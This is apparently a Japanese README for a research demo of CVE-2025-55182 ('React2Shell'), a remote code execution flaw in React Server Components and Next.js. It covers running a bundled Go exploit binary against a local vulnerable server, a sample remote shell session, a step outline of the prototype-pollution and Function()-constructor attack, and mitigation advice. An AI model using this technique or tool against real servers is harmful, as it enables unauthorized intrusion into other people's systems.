
このプロジェクトは、React Server Components および Next.js における重大なリモートコード実行(RCE)脆弱性である CVE-2025-55182(React2Shell)の完全に機能するデモを提供します。
このプロジェクトは、CVE-2025-55182 (React2Shell) の完全に機能するデモを提供します。これは、React Server Components と Next.js における重大なリモートコード実行 (RCE) 脆弱性です。
ステータス: ✅ 動作確認済み - 脆弱なサーバー上で実際のコマンド実行を実現
CVE-2025-55182 (7.8MB コンパイル済み実行ファイル)📥 デモ動画をダウンロード (5.6MB) - クリックしてダウンロードし、エクスプロイトの動作を確認
デモで紹介される内容:
cd exploited-server
npm run dev
# Server starts on http://localhost:3001
cd /Users/subh/Desktop/code-playground/react-2-shell-demo
./CVE-2025-55182
# When prompted:
Target: localhost:3001
基本コマンド:
subh@rce $ whoami
subh@rce $ pwd
subh@rce $ ls -la
subh@rce $ hostname
ファイル操作:
subh@rce $ touch hello.txt
[+] Created: hello.txt
subh@rce $ vi hello.txt
[i] Enter new content (type 'EOF' on a line by itself to finish):
Hello World!
EOF
[+] File saved: hello.txt
subh@rce $ cat hello.txt
Hello World!
subh@rce $ echo "New content" > hello.txt
[+] File written
subh@rce $ rm hello.txt
[+] Removed: hello.txt
システム情報:
subh@rce $ cat package.json
subh@rce $ node --version
subh@rce $ npm --version
subh@rce $ ps aux
終了:
subh@rce $ exit
このプロジェクトが示すもの:
✅ 実際の悪用 - 脆弱なシステムに対する実際に機能する RCE
✅ セキュリティ研究 - 最新の Web フレームワーク脆弱性の理解
✅ Go 開発 - セキュリティツールのコンパイルと使用
✅ 脆弱性分析 - CVE の調査と悪用手法
✅ 責任ある情報開示 - 倫理的なセキュリティテストの実践
react-2-shell-demo/
├── CVE-2025-55182 # Compiled Go exploit binary
├── main.go # Go source code
├── exploited-server/ # Vulnerable Next.js app
│ ├── app/
│ │ ├── actions.ts # Server Actions (vulnerable)
│ │ └── page.tsx # Warning UI
│ └── package.json # Next 15.0.1, React 19.0.0
└── *.md # Documentation
CVE-2025-55182 は、React Server Components における安全でないデシリアライゼーションを悪用します:
__proto__ を介したプロトタイプ汚染Function() コンストラクタを呼び出す偽のチャンク1. Craft multipart payload with malicious chunks
2. Send to Next.js Server Actions endpoint
3. Trigger prototype pollution via __proto__:then
4. Invoke Function() constructor with command
5. Execute code and return output via redirect
6. Parse result from X-Action-Redirect header
重要な注意事項:
README.md - このファイルGO_EXPLOIT_USAGE.md - エクスプロイトの詳細な使用方法VULNERABLE_SERVER.md - サーバーセットアップガイドEXPLOITATION_GUIDE.md - 技術的な詳細解説USAGE.md - 使用例とコマンドnpm run dev)./CVE-2025-55182)このプロジェクトは以下を成功裏に示しています:
本番システム向け:
修正済みバージョンに直ちに更新:
2025年12月4日以前に漏えいした可能性がある場合は秘密情報をローテーション
不審な Server Actions アクティビティがないかログを監視
Server Components を使用しているアプリケーションを監査
@subhdotsol - 教育およびセキュリティ研究を目的としています
このコードは教育および許可されたセキュリティテストのみを目的としています。
注意: テストの前に必ず適切な許可を取得してください。責任を持って使用しましょう! 🔒